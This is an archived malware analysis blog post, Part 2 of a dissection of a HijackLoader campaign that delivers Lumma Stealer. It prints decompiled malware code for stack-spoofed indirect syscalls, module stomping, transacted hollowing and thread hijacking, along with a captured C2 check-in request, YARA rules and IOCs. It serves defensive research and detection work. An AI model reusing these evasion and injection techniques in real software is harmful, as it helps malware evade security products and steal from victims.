{
	"id": "12617539-594a-49b5-a09a-f1fb1de3c7c1",
	"created_at": "2026-07-28T02:03:27.795163Z",
	"updated_at": "2026-07-28T02:03:56.308202Z",
	"deleted_at": null,
	"sha1_hash": "1df6cb7d2fde7377e116d9ddfe6b6b891a0425d8",
	"title": "ClickFix × HijackLoader: Dissecting a Live Stealer Campaign - Part 2",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 296994,
	"plain_text": "https://neso.re/posts/clickfix-x-hijackloader-part2/\n\nClickFix × HijackLoader: Dissecting a Live Stealer Campaign -\n\nPart 2\n\nBy Neso\n\nArchived: 2026-07-28 02:02:00 UTC\n\n1. Overview\n\nIn Part 1, I walked through the full delivery chain, from the ClickFix lure through the MSI package, both loader\n\nstages, and into the  ti64  orchestrator. By the end, the syscall table was built, ntdll was unhooked, and\n\nTinyCallProxy64  was loaded into the runtime context. Everything was in place, but nothing had executed yet.\n\nThis part picks up where that left off. The focus here is on what the orchestrator actually does, how it routes every\n\nsyscall through an indirect call chain with full stack spoofing, how it selects its injection method, and how the\n\nfinal payload is deployed.\n\nAt a high level, execution flows like this:\n\nPage 1 of 16\n\nhttps://neso.re/posts/clickfix-x-hijackloader-part2/\n\nPage 2 of 16\n\nhttps://neso.re/posts/clickfix-x-hijackloader-part2/\n\nHigh-level execution flow of the ti64 orchestrator\n\n2. Indirect Syscall \u0026 Stack Spoofing\n\nIn Part 1, I briefly mentioned  TinyCallProxy64  as the dispatch mechanism used by the orchestrator. In this\n\nsection, I’ll break down how the malware routes every syscall through an indirect call chain, complete with return\n\naddress spoofing, to make its calls appear as though they originate from a legitimate DLL.\n\nThe DLL that hosts the spoofing isn’t hardcoded. It’s pulled from the config, specifically from the  SM  module. In\n\nthis sample, that DLL is  xmllite.dll .\n\nSetup happens in two phases. During initialization, the orchestrator allocates a spoof context and stages it with\n\nrpcrt4.dll  as a placeholder proxy. Function pointers for  VirtualProtect ,  FlushInstructionCache , and\n\nmemory management are copied in.\n\nmw_stack_spoof_setup(mw_ti64_ctx, \"rpcrt4.dll\", 0, 0);\n\nAt this point, the trampoline code is still NULL, and the proxy DLL is just a placeholder. It only gets populated\n\nonce the  TinyCallProxy64  module is located in the config blob and its raw shellcode is written into the spoof\n\ncontext.\n\nmw_spoof_ctx *__fastcall mw_stack_spoof_setup(mw_TI64_ctx *ctx, __int64 proxy_dll, __int64 trampoline, int size\n{\n  ctx-\u003estack_spoof_ctx = (ctx-\u003efn_malloc)(248);\n  mw_zero_mem(ctx-\u003estack_spoof_ctx, 248);\n\n// Copy proxy DLL path and load it\n  sub_6B10(ctx-\u003estack_spoof_ctx-\u003eproxy_dll_path, proxy_dll);\n  ctx-\u003estack_spoof_ctx-\u003eproxy_dll_base = sub_B900(ctx, ctx-\u003estack_spoof_ctx-\u003eproxy_dll_path);\n\n// Copy function pointers...\n\nctx-\u003estack_spoof_ctx-\u003etrampoline_code = trampoline;\n  ctx-\u003estack_spoof_ctx-\u003etrampoline_size = size;\n\nPage 3 of 16\n\nhttps://neso.re/posts/clickfix-x-hijackloader-part2/\n\nmw_stack_spoof_init(ctx-\u003estack_spoof_ctx);             // record .text bounds\n\n(ctx-\u003estack_spoof_ctx-\u003efn_srand)(sub_C470(ctx));       // seed PRNG\n\n}\n\nThe second phase happens later in the main function of\n\nconfig, locates the  TinyCallProxy64  module, and passes both to a second initialization routine. This is where the\n\nplaceholder gets replaced with the actual host DLL and the trampoline shellcode is loaded.\n\nmw_load_SM_module(mw_ctx, a2);                            // SM module → field_4B0\n\na4a = mw_find_TinycallProxy64_module(a2, \u0026a5);\n\nsub_93C0(mw_ctx, mw_ctx-\u003estack_spoof_ctx, mw_ctx-\u003efield_4B0, a4a, a5);\n\nHere, the proxy DLL path is overwritten with the DLL named in the\n\nand the  TinyCallProxy64  shellcode is stored as the trampoline code.\n\n__int64 __fastcall sub_93C0(mw_TI64_ctx *ctx, mw_spoof_ctx *spoof_ctx, __int64 sm_dll_name, __int64 trampoline,\n\n{\n\n// Overwrite proxy DLL with the one from the SM module\n\nsub_6B10(spoof_ctx-\u003eproxy_dll_path, sm_dll_name);\n\nspoof_ctx-\u003eproxy_dll_base = sub_B900(ctx, spoof_ctx-\u003eproxy_dll_path);\n\n// Function pointers, trampoline shellcode...\n\nspoof_ctx-\u003etrampoline_code = trampoline;\n\nspoof_ctx-\u003etrampoline_size = size;\n\nmw_stack_spoof_init(spoof_ctx);\n\n(spoof_ctx-\u003efn_srand)(sub_C470(ctx));\n\n}\n\nThe call to  mw_stack_spoof_init  retrieves the current thread’\n\n.text  section boundaries of three modules, which are used later to validate that selected trampoline addresses\n\nfall within executable code.\n\nchar __fastcall mw_stack_spoof_init(mw_spoof_ctx *mw_spoof_ctx)\n\n{\n\nstruct _TEB *TEB;\n\nTEB = mw_get_TEB();\n\nti64 . The orchestrator reads the  SM  module from the\n\nSM  module ( xmllite.dll  in this sample),\n\ns stack bounds from the TEB and records the\n\nmw_spoof_ctx-\u003estack_limit = TEB-\u003eNtTib.StackLimit;\n\nmw_spoof_ctx-\u003estack_base = mw_spoof_ctx-\u003estack_limit + TEB-\u003eNtTib.StackBase - TEB-\u003eNtTib.StackLimit;\n\nmw_spoof_ctx-\u003estack_size = mw_spoof_ctx-\u003estack_base - mw_spoof_ctx-\u003estack_limit;\n\nif ( !mw_spoof_ctx-\u003eproxy_dll_base )\n\nmw_spoof_ctx-\u003eproxy_dll_base = (mw_spoof_ctx-\u003efn_LoadLibraryW)(mw_spoof_ctx-\u003eproxy_dll_path);\n\nPage 4 of 16\n\nhttps://neso.re/posts/clickfix-x-hijackloader-part2/\n\nmw_spoof_ctx-\u003estack_alignment = 8;\n\nmw_find_text_section(mw_spoof_ctx-\u003ealt_module_base, \u0026mw_spoof_ctx-\u003ealt_text_start);\n\nmw_find_text_section(mw_spoof_ctx-\u003entdll_base, \u0026mw_spoof_ctx-\u003entdll_text_start);\n\nreturn mw_find_text_section(mw_spoof_ctx-\u003eproxy_dll_base, \u0026mw_spoof_ctx-\u003eproxy_text_start);\n\n}\n\nFrom this point on, every syscall the orchestrator makes is routed through this mechanism.\n\nTo see how this all plays out, let’s trace a real syscall. During thread hijacking, the orchestrator calls\n\nZwSetContextThread  to overwrite a thread’s register state with the injection address. Here’s what that call looks\n\nlike at the surface:\n\n_BOOL8 __fastcall mw_syscall_ZwSetContextThread(__int64 a1, __int64 a2, __int64 a3)\n\n{\n\nreturn mw_indirect_syscall_2args(a1, 0x97D4EB02, a2, a3) == 0; //CRC32(ZwSetContextThread)\n\n}\n\nThe API name is never referenced by name, instead, the  CRC32  hash is used throughout the process. The hashing\n\nfunction is identical to the one used during initialization.\n\nThe forwarding wrapper does nothing but pass the arguments through to the dispatch layer:\n\n__int64 __fastcall mw_indirect_syscall_2args(mw_TI64_ctx *a1, int a2, __int64 a3, __int64 a4)\n\n{\n\nreturn mw_syscall_dispatch_2args(a1, a2, a3, a4);\n\n}\n\nThe dispatch function is where the routing decision happens. It looks up the hash in the syscall table, resolves the\n\ntarget address inside ntdll, and checks whether the spoof context has been initialized. If it has, the call is routed\n\nthrough the trampoline. If not, the ntdll stub is called directly.\n\n__int64 __fastcall mw_syscall_dispatch_2args(mw_TI64_ctx *a1, int a2, __int64 a3, __int64 a4)\n\n{\n\n__int64 result;\n\nmw_syscall_table_entry *v5;\n\n__int64 (__fastcall *v6)(__int64, __int64);\n\nv5 = mw_syscall_table_lookup(a1, a2);\n\nif ( !v5 )\n\nreturn 0xFFFFFFFFi64;\n\nv6 = (a1-\u003entdll_base + v5-\u003eexport_RVA);\n\nif ( a1-\u003estack_spoof_ctx )\n\nresult = mw_spoofed_syscall_2args(a1-\u003estack_spoof_ctx, v6, a3, a4);\n\nelse\n\nPage 5 of 16\n\nhttps://neso.re/posts/clickfix-x-hijackloader-part2/\n\nresult = v6(a3, a4);\n\nreturn result;\n\n}\n\nWhen the spoof context is present, the resolved ntdll stub address is passed as the first argument to\n\nmw_spoofed_syscall_2args . This is the trampoline function, and it’s where the magic happens.\n\n__int64 __fastcall mw_spoofed_syscall_2args(mw_spoof_ctx *ctx, __int64 target_function, __int64 arg1, __int64 a\n\n{\n\n// Select random address in xmllite.dll's .text section\n\ntrampoline_address = mw_select_trampoline_function(ctx);\n\n// Make writable and save original bytes\n\n(ctx-\u003efn_VirtualProtect)(trampoline_address, ctx-\u003etrampoline_size, 64, \u0026old_protect);\n\nsaved_original_bytes = (ctx-\u003efn_malloc)(ctx-\u003etrampoline_size);\n\nmw_memcpy_2(saved_original_bytes, trampoline_address, ctx-\u003etrampoline_size);\n\n// Write TinyCallProxy64 shellcode, restore protection, flush\n\nmw_memcpy_2(trampoline_address, ctx-\u003etrampoline_code, ctx-\u003etrampoline_size);\n\n(ctx-\u003efn_VirtualProtect)(trampoline_address, ctx-\u003etrampoline_size, old_protect, \u0026old_protect);\n\n(ctx-\u003efn_FlushInstructionCache)(-1, trampoline_address, ctx-\u003etrampoline_size);\n\n// Select second random address as fake return, call trampoline\n\nfake_return_addr = mw_select_trampoline_function(ctx);\n\nresult = trampoline_address(target_function, fake_return_addr, 2, arg1, arg2);\n\n// Restore original bytes, lock down, clean up\n\n(ctx-\u003efn_VirtualProtect)(trampoline_address, ctx-\u003etrampoline_size, 64, \u0026old_protect_2);\n\nmw_memcpy_2(trampoline_address, saved_original_bytes, ctx-\u003etrampoline_size);\n\n(ctx-\u003efn_VirtualProtect)(trampoline_address, ctx-\u003etrampoline_size, 32, \u0026old_protect_2);\n\n(ctx-\u003efn_free)(saved_original_bytes);\n\n(ctx-\u003efn_FlushInstructionCache)(-1, trampoline_address, ctx-\u003etrampoline_size);\n\nreturn result;\n\n}\n\nFirst,  mw_select_trampoline_function  picks a random export from the export table of\n\nadds a random offset between 32 and 1280 bytes, and verifies the resulting address falls within the .text section.\n\nThis is where the trampoline shellcode will be temporarily written.\n\n__int64 __fastcall mw_select_trampoline_function(mw_spoof_ctx *a1)\n\n{\n\nexport_dir = a1-\u003eproxy_dll_base + mw_get_NT_headers(a1-\u003eproxy_dll_base)-\u003eOptionalHeader.DataDi\n\naddr_table = a1-\u003eproxy_dll_base + *(export_dir + 7);\n\nordinal_table = a1-\u003eproxy_dll_base + *(export_dir + 9);\n\nPage 6 of 16\n\nxmllite.dll  and then\n\nrectory[0].Virtu\n\nhttps://neso.re/posts/clickfix-x-hijackloader-part2/\n\ndo\n  {\n    index = mw_rand_number_generator(a1, 0, *(export_dir + 6));\n    result = mw_add_trampoline_offset(a1, a1-\u003eproxy_dll_base + *\u0026addr_table[4 * *\u0026ordinal_table[2 * index]]);\n  }\n  while ( !mw_validate_trampoline_location(a1, result, \u0026a1-\u003eproxy_text_start) );\n  return result;\n}\n\nThe offset ensures the trampoline doesn’t land on a function prologue, and  mw_validate_trampoline_location\n\nchecks against the  .text  bounds recorded during init.\n\nThe function then makes the target address writable with  VirtualProtect , saves the original bytes, and copies\n\nthe  TinyCallProxy64  shellcode into place. Protection is restored and the instruction cache is flushed.\n\nA second random address is selected from  xmllite.dll . This one becomes the fake return address that will\n\nappear on the call stack.\n\nThe trampoline is then called with five arguments: the ntdll stub address, the fake return address, the argument\n\ncount, and the two original syscall arguments. Inside the trampoline, the  TinyCallProxy64  shellcode sets up the\n\nstack frame so that the fake return address occupies the caller frame, then forwards the call into the ntdll stub,\n\nwhich executes the actual syscall instruction.\n\nAfter the syscall returns, the function makes the trampoline site writable again, restores the original bytes, sets the\n\nprotection to  PAGE_EXECUTE_READ , frees the backup buffer, and flushes the instruction cache one more time. No\n\ntrace of the trampoline remains in  xmllite.dll  memory.\n\nThe result is a call stack where frame one points to  xmllite.dll  as the call happened from within its memory,\n\nand frame two also points to  xmllite.dll , spoofed via the fake return address.\n\nThis same pattern is repeated across eight variants, for all the different syscalls the malware uses. The only\n\ndifference between them is the number of arguments forwarded through the trampoline call.\n\nThe spoofed call stack as seen from within the ntdll\n\n3. Module Stomping Injection\n\nIf no security products are detected on the system, the orchestrator proceeds with an injection technique known as\n\nmodule stomping. A legitimate DLL is mapped into the target process as a  SEC_IMAGE , and the shellcode is then\n\nwritten over its executable section.\n\nThis technique is only used when no security products are detected. The inter-process  VirtualProtect  and\n\nWriteVirtualMemory  pattern is one of the most heavily monitored injection signatures, so the orchestrator falls\n\nback to transacted hollowing when it expects to be watched.\n\nPage 7 of 16\n\nhttps://neso.re/posts/clickfix-x-hijackloader-part2/\n\nThe high-level flow looks like this:\n\nchar __fastcall mw_standard_inject(mw_TI64_ctx *a1, __int64 a2, __int64 target_dll_path, __int64 mw_shellcode,\n\n{\n\nunsigned int entry_offset;\n\nint old_protect;\n\nint old_protect_fallback;\n\n__int64 injection_address[3];\n\ninjection_address[0] = 0i64;\n\nif ( !mw_map_section_into_target(a1, process_info-\u003ehProcess, target_dll_path, injection_address) )// map as SE\n\nreturn 0;\n\nentry_offset = mw_find_section_entry_offset(\u0026a1-\u003eevent_ctx, target_dll_path);\n\nif ( entry_offset == -1 )\n\nentry_offset = 4096;\n\ninjection_address[0] += entry_offset;\n\nold_protect = 0;\n\nif ( !mw_syscall_ZwProtectVirtualMemory(\n\na1,\n\nprocess_info-\u003ehProcess,\n\ninjection_address[0],\n\n*(a2 + 8), //shellcode size\n\n0x40u,\n\n\u0026old_protect) )\n\n{\n\nold_protect_fallback = 0;\n\nif ( !fn_VirtualProtectEx(process_info-\u003ehProcess, injection_address[0], *(a2 + 8), 64i64, \u0026old_protect_fallb\n\nreturn 0;\n\n}\n\nmw_nop_1();\n\nif ( !mw_syscall_ZwWriteVirtualMemory(a1, process_info-\u003ehProcess, injection_address[0], mw_shellcode, *(a2 + 8\n\nreturn 0;\n\nmw_nop_1();\n\nif ( !is_suspended \u0026\u0026 !mw_syscall_ZwResumeThread(a1, process_info-\u003ehThread) )\n\nreturn 0;\n\n*out_injection_address = injection_address[0];\n\nreturn 1;\n\n}\n\nFirst, the target DLL is mapped into the victim process as a\n\ninside the mapped DLL is located, and the shellcode write address becomes the mapped base plus that offset.\n\nThe destination is made writable with  ZwProtectVirtualMemory\n\ncase the spoofed syscall fails), then  ZwWriteVirtualMemory\n\nwasn’t created suspended,  ZwResumeThread  kicks off execution immediately\n\nstarted later downstream.\n\nSEC_IMAGE . The offset of the first executable section\n\n(with a kernel32  VirtualProtectEx  fallback in\n\nwrites the shellcode in place. If the target process\n\n, otherwise it is left suspended and\n\nPage 8 of 16\n\nhttps://neso.re/posts/clickfix-x-hijackloader-part2/\n\nThe actual section mapping looks like this:\n\nThe SEC_IMAGE mapping into the target process\n\nThe DLL file is opened, a section object is created from it with\n\nsection is mapped into the target process via  NtMapViewOfSection\n\nand stack spoofing chain.\n\n4. Transacted Hollowing\n\nWhen the orchestrator detects a security product running on the system, it switches from standard injection to a\n\ntechnique known as transacted hollowing, or more commonly Process Doppelgänging. The idea behind this\n\ntechnique is to have the modified file exist only within the scope of an NTFS transaction. The transaction is rolled\n\nback before it ever commits, so the changes never manifest on disk, but the section object created from the file\n\npersists in memory.\n\nThe process starts by reading the target DLL from disk and appending a new PE section named .exr to hold the\n\npayload.\n\nPage 9 of 16\n\nNtCreateSection  using  SEC_IMAGE , and the\n\n. Both syscalls go through the indirect syscall\n\nhttps://neso.re/posts/clickfix-x-hijackloader-part2/\n\nif ( !mw_read_target_dll_to_buffer(a3, \u0026mw_ctx-\u003eevent_ctx, \u0026target_dll, \u0026target_dll_size) )\n\nreturn 0;\n\nif ( !mw_append_new_section(mw_ctx, target_dll, a5, \u0026exr_section_RVA, \u0026v7, \u0026modified_dll, \u0026modified_dll_size) )\n\nreturn 0;\n\nmw_memcpy_2((v7 + modified_dll), a4, a5);     // copy payload into .exr section\n\nThe modified DLL is then written to a temporary file under an NTFS transaction.\n\n__int64 __fastcall mw_create_transaction(mw_TI64_ctx *ctx, __int64 modified_dll, int size, _QWORD *out_handle)\n\n{\n\nfn_ZwCreateTransaction = mw_resolve_api(ctx-\u003entdll_clean_base, 0xB2F090C8);\n\n(fn_ZwCreateTransaction)(\u0026transaction_handle, TRANSACTION_ALL_ACCESS, 0, 0, 0, 0, 0, 0, 0, 0);\n\nfn_RtlSetCurrentTransaction = mw_resolve_api(ctx-\u003entdll_clean_base, 0xA14A208D);\n\n(fn_RtlSetCurrentTransaction)(0);\n\n(fn_RtlSetCurrentTransaction)(transaction_handle);    // bind transaction to current thread\n\nmw_generate_temp_filepath(\u0026ctx-\u003eevent_ctx, temp_file_path);\n\nmw_nt_create_file(ctx, temp_file_path, 5, \u0026file_handle);      // create file within transaction\n\nmw_write_file(ctx, file_handle, 0, modified_dll, size);        // write modified DLL\n\nreturn file_handle;\n\n}\n\nWith the transacted file written, the orchestrator creates a section object from it using NtCreateSection with the\n\nSEC_IMAGE  flag. The kernel parses the PE, maps it as an image, and the section object now holds the modified\n\nDLL in memory.\n\nImmediately after, the transaction is rolled back. The file on disk reverts to the original state it was in before the\n\ntransaction, but in this case, since the file never existed on disk prior to the transaction, it disappears, but the\n\nsection object stays in memory.\n\nchar __fastcall mw_rollback_transaction(__int64 a1, __int64 file_handle, __int64 transaction_handle)\n\n{\n\nmw_indirect_syscall_2args(a1, 0xDCDA6C9C, transaction_handle, 1);  // ZwRollbackTransaction\n\nmw_indirect_syscall_1arg(a1, 0x180C0D23, transaction_handle);      // ZwClose\n\nmw_indirect_syscall_1arg(a1, 0x180C0D23, file_handle);             // ZwClose\n\nfn_RtlSetCurrentTransaction = mw_resolve_api(*(a1 + 32), 0xA14A208D);\n\n(fn_RtlSetCurrentTransaction)(0);                                    // unbind transaction\n\nreturn 1;\n\n}\n\nFinally, the section is mapped into the target process with\n\nis calculated.\n\nNtMapViewOfSection\n\nPage 10 of 16\n\n, and the payload’s virtual address\n\nhttps://neso.re/posts/clickfix-x-hijackloader-part2/\n\nmw_map_section_into_target_2(mw_ctx, section_handle, process_handle, 4, \u0026mapped_base, \u0026view_size);\n\n*out_payload_VA = exr_section_RVA + mapped_base;\n\nWhat remains is a payload mapped into the target process, backed by a section object whose source file no longer\n\nexists. (or has reverted to its unmodified state)\n\n5. Thread Hijacking\n\nWith the payload mapped into the target process, execution needs to be diverted to it. This is done by modifying\n\nthe context registers of a thread in the target process. This can be done either by overwriting\n\nrunning thread, or by setting  RCX  on a suspended one, so that when the thread resumes, it begins execution at the\n\ndesired address.\n\nbool __fastcall mw_hijack_thread_context(mw_TI64_ctx *mw_TI64_ctx, __int64 a2, mw_context_funcs *wow64_ctx_func\n\n{\n\nbool result;\n\nvoid *ctx_pointer;\n\nWOW64_CONTEXT ctx32;\n\nCONTEXT ctx64;\n\nmw_zero_mem(\u0026ctx64, 1232i64);\n\nmw_zero_mem(\u0026ctx32, 716i64);\n\nRIP  directly on a\n\nctx64.ContextFlags = CONTEXT_ALL;\n\nctx32.ContextFlags = CONTEXT_ALL;\n\nif ( is_x64 )\n\nctx_pointer = \u0026ctx64;\n\nelse\n\nctx_pointer = \u0026ctx32;\n\nif ( is_x64 )\n\n{\n\nif ( mw_syscall_ZwGetContextThread(mw_TI64_ctx, mw_thread_handle, ctx_pointer) )\n\n{\n\nif ( is_suspended )\n\nctx64.Rcx = mw_injection_address;       // if suspended, RCX is modified to hold the shellcode address\n\nelse\n\nctx64.Rip = mw_injection_address;       // if not suspended, RIP is modified directly so the shellcode a\n\nresult = mw_syscall_ZwSetContextThread(mw_TI64_ctx, mw_thread_handle, ctx_pointer);\n\n}\n\nelse\n\n{\n\nresult = 0;\n\n}\n\n}\n\nelse if ( wow64_ctx_functions-\u003eNtGetContextThread(mw_thread_handle, ctx_pointer) )\n\n{\n\nPage 11 of 16\n\nhttps://neso.re/posts/clickfix-x-hijackloader-part2/\n\nresult = 0;\n\n}\n\nelse\n\n{\n\nctx32.Eip = mw_injection_address;\n\nresult = wow64_ctx_functions-\u003eNtSetContextThread(mw_thread_handle, ctx_pointer) == 0;\n\n}\n\nreturn result;\n\n}\n\nThe WoW64 path follows the same logic, targeting  EIP  instead. All context operations are routed through the\n\nsame indirect syscall and stack spoofing system described above.\n\n6. Final Payload\n\nThe module  X64L  is the shellcode that ends up executing in the target process. It’s a position-independent x64\n\nloader pulled from the config blob, injected by the orchestrator via either module stomping or transacted\n\nhollowing. Its job is to bring the final payload into memory and execute it.\n\nThe final payload is not fetched from the network, nor is it dropped to disk in a separate file. Instead, it is\n\nembedded inside the config blob, appended past the module table.\n\nThree header fields point to it. The orchestrator reads these fields when staging a copy of the payload for in-\n\nmemory decryption.\n\nv4-\u003epayload_buffer = (alloc)(*(a2 + 3240));\n\nv17 = (a2 + *(a2 + 3820) + 3812);              // pointer to blob in config\n\nmw_memcpy_2(v4-\u003epayload_buffer, v17, *(a2 + 3240));\n\nv4-\u003eblob_size      = *(a2 + 3240);\n\nv4-\u003exor_key_dwords = *(a2 + 3236);\n\nThe blob carries its own key. The first  xor_key_dwords * 4  bytes are the XOR key, and everything after is the\n\nencrypted PE. No length prefix, no wrapping header, just key dwords followed by ciphertext.\n\nThe decryption is a dword-cycle XOR. The loop walks the encrypted region one DWORD at a time, XORing each\n\nagainst a cycling index into the key.\n\nv15 = payload_buffer;            // start of blob = start of key\n\nv12 = payload_buffer + 4 * v7;   // skip past key, point at encrypted PE\n\nv3 = 0;\n\nv2 = 0;\n\nwhile ( v3 \u003c= v9 )\n\n{\n\nv11 = \u0026v12[v3];\n\n*v11 ^= v15[v2];               // XOR DWORD with current key DWORD\n\nPage 12 of 16\n\nif ( v2 == v7 - 1 )\n\nv2 = 0;\n\nelse\n\n++v2;\n\nv3 += 4;\n\n}\n\nAdding this routine to the config extractor from Part 1 produces the unpacked payload as a valid PE on disk, with\n\nno debugger or runtime detonation required.\n\nThe dumped file was identified by both Defender and VT as Lumma Stealer\n\nDetection from defender\n\nhttps://neso.re/posts/clickfix-x-hijackloader-part2/\n\n.\n\nVirustotal detections\n\nThis was further corroborated by captured network traffic, reminiscent of Lumma.\n\nPOST / HTTP/1.1\n\nCache-Control: no-cache\n\nConnection: Keep-Alive\n\nPragma: no-cache\n\nPage 13 of 16\n\nhttps://neso.re/posts/clickfix-x-hijackloader-part2/\n\nContent-Type: application/x-www-form-urlencoded\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.1\n\nContent-Length: 94\n\nHost: mastojh.cyou\n\nuid=696d37230a78138cfcce54ff29deb67cca38cb4fa201\u0026hwid=4E3B34DEC680234956C70ED02493C1DE\u0026msg=npp\n\nIn case this request receives no response, the sample tries to resolve 9 additional domains, including\n\nsteamcommunity.com , likely a dead-drop C2 fallback.\n\nAll the domains the sample attempts to resolve\n\n7. Detection Opportunities\n\nThe signatures below cover the campaign at two stages. First is the dropped configuration file on disk and the\n\nsecond is the extracted  ti64  module in memory.\n\nThe first rule targets the configuration file as it sits on disk. Its signature is the 8-byte sequence formed by the\n\nIDAT chunk-type marker followed by the 0xEA79A5C6 magic that prefixes the encrypted payload. This\n\ncombination is unique to HijackLoader.\n\nrule HijackLoader_Config_IDAT_magic\n\n{\n\nmeta:\n\ndescription = \"HijackLoader encrypted configuration dropped to disk by the MSI installer\"\n\nauthor = \"neso\"\n\nreference = \"https://neso.re/posts/clickfix-x-hijackloader-part2/\"\n\nfamily = \"HijackLoader, IDATLoader, GHOSTPULSE\"\n\nhash = \"ff1a2dcfdca25561b587bfa06214d70c85bcb802c5e5e7397dc977e1c5c20815\"\n\ntlp = \"white\"\n\nversion = \"1.0\"\n\nstrings:\n\n$idat_magic_marker = {49 44 41 54 C6 A5 79 EA}\n\ncondition:\n\nPage 14 of 16\n\nhttps://neso.re/posts/clickfix-x-hijackloader-part2/\n\n$idat_magic_marker\n\n}\n\nThe second rule targets the ti64 orchestrator module as it exists in memory\n\nmodules and memory captures. The signature is a quorum of CRC32 hashed module names. 3 of 6 matches\n\nrequired, accounting for the different module combinations shipped with different samples.\n\nrule HijackLoader_TI64_CRC_hashes\n\n{\n\nmeta:\n\ndescription = \"HijackLoader ti64 orchestrator: CRC32-based API and module resolutio\n\nauthor      = \"neso\"\n\nreference   = \"https://neso.re/posts/clickfix-x-hijackloader-part2/\"\n\nhash        = \"a9d0b740d294db8b771f481bb84661188e56c209f52edba440e72b6ca047c6cb\"\n\nfamily      = \"HijackLoader, IDATLoader, GHOSTPULSE\"\n\ntlp         = \"white\"\n\nversion     = \"1.0\"\n\nstrings:\n\n$crc32_poly             = { B7 1D C1 04 }\n\n$module_X64L            = { 3F 9F 5B CB }\n\n$module_COPYLIST        = { 0A 70 E7 1A }\n\n$module_SM              = { 45 21 22 D8 }\n\n$module_AVDATA          = { CA 83 B7 78 }\n\n$module_TinyCallProxy64 = { EA DC 15 55 }\n\n$module_CUSTOMINJECT    = { AE A6 18 B7 }\n\ncondition:\n\nfilesize \u003c 500KB\n\nand $crc32_poly\n\nand 3 of ($module_*)\n\n}\n\n. Intended scan targets are extracted\n\nn constants\"\n\n8. IOCs\n\nInfrastructure\n\nType\n\nURL (check-in)\n\nDomain (primary C2)\n\nDomain (fallback)\n\nValue\n\nhxxps://mastojh[.]cyou/\n\nmastojh[.]cyou\n\ncarytui[.]vu\n\nPage 15 of 16\n\nType\n\nDomain (fallback)\n\nDomain (fallback)\n\nDomain (fallback)\n\nDomain (fallback)\n\nDomain (fallback)\n\nDomain (fallback)\n\nDomain (fallback)\n\nDomain (fallback, dead-drop)\n\nFiles\n\nhttps://neso.re/posts/clickfix-x-hijackloader-part2/\n\nValue\n\ndecrnoj[.]club\n\ngenugsq[.]best\n\nlongmbx[.]click\n\nmushxhb[.]best\n\npomflgf[.]vu\n\nstrikql[.]shop\n\nulmudhw[.]shop\n\nsteamcommunity[.]com\n\nType Value\n\nti64 module a9d0b740d294db8b771f481bb84661188e56c209f52edba440e72b6ca047c6cb\n\nX64L loader module 42591ea89d893d0f5663a2e275bf4c6c10463e2bdaf9fc43ccf78f0a9342d97e\n\nLumma Stealer payload 353b18528aa259782dfd6407a75e37770b5c6f5fa49e53ba5bb6ecd9081de94e\n\nMicroMa64.exe bc5e9ceb7fd09b6c4b945bc8d4ada428f2cf5d9311180bfdac7afd7ad480e7b4\n\nstoragesvc42.bak ff1a2dcfdca25561b587bfa06214d70c85bcb802c5e5e7397dc977e1c5c20815\n\nSource: https://neso.re/posts/clickfix-x-hijackloader-part2/\n\nPage 16 of 16\n\nDomain (primary C2) mastojh[.]cyou\nDomain (fallback) carytui[.]vu\n\nMicroMa64.exe bc5e9ceb7fd09b6c4b945bc8d4ada428f2cf5d9311180bfdac7afd7ad480e7b4\nstoragesvc42.bak ff1a2dcfdca25561b587bfa06214d70c85bcb802c5e5e7397dc977e1c5c20815\n\nDomain (fallback) ulmudhw[.]shop\nDomain (fallback, dead-drop) steamcommunity[.]com\n\nmw_load_SM_module(mw_ctx, a4a = mw_find_TinycallProxy64_module(a2, a2); \u0026a5); // SM module → field_4B0\nsub_93C0(mw_ctx, mw_ctx-\u003estack_spoof_ctx, mw_ctx-\u003efield_4B0, a4a, a5);",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://neso.re/posts/clickfix-x-hijackloader-part2/"
	],
	"report_names": [
		"clickfix-x-hijackloader-part2"
	],
	"threat_actors": [],
	"ts_created_at": 1785204207,
	"ts_updated_at": 1785204236,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/1df6cb7d2fde7377e116d9ddfe6b6b891a0425d8.pdf",
		"text": "https://archive.orkl.eu/1df6cb7d2fde7377e116d9ddfe6b6b891a0425d8.txt",
		"img": "https://archive.orkl.eu/1df6cb7d2fde7377e116d9ddfe6b6b891a0425d8.jpg"
	}
}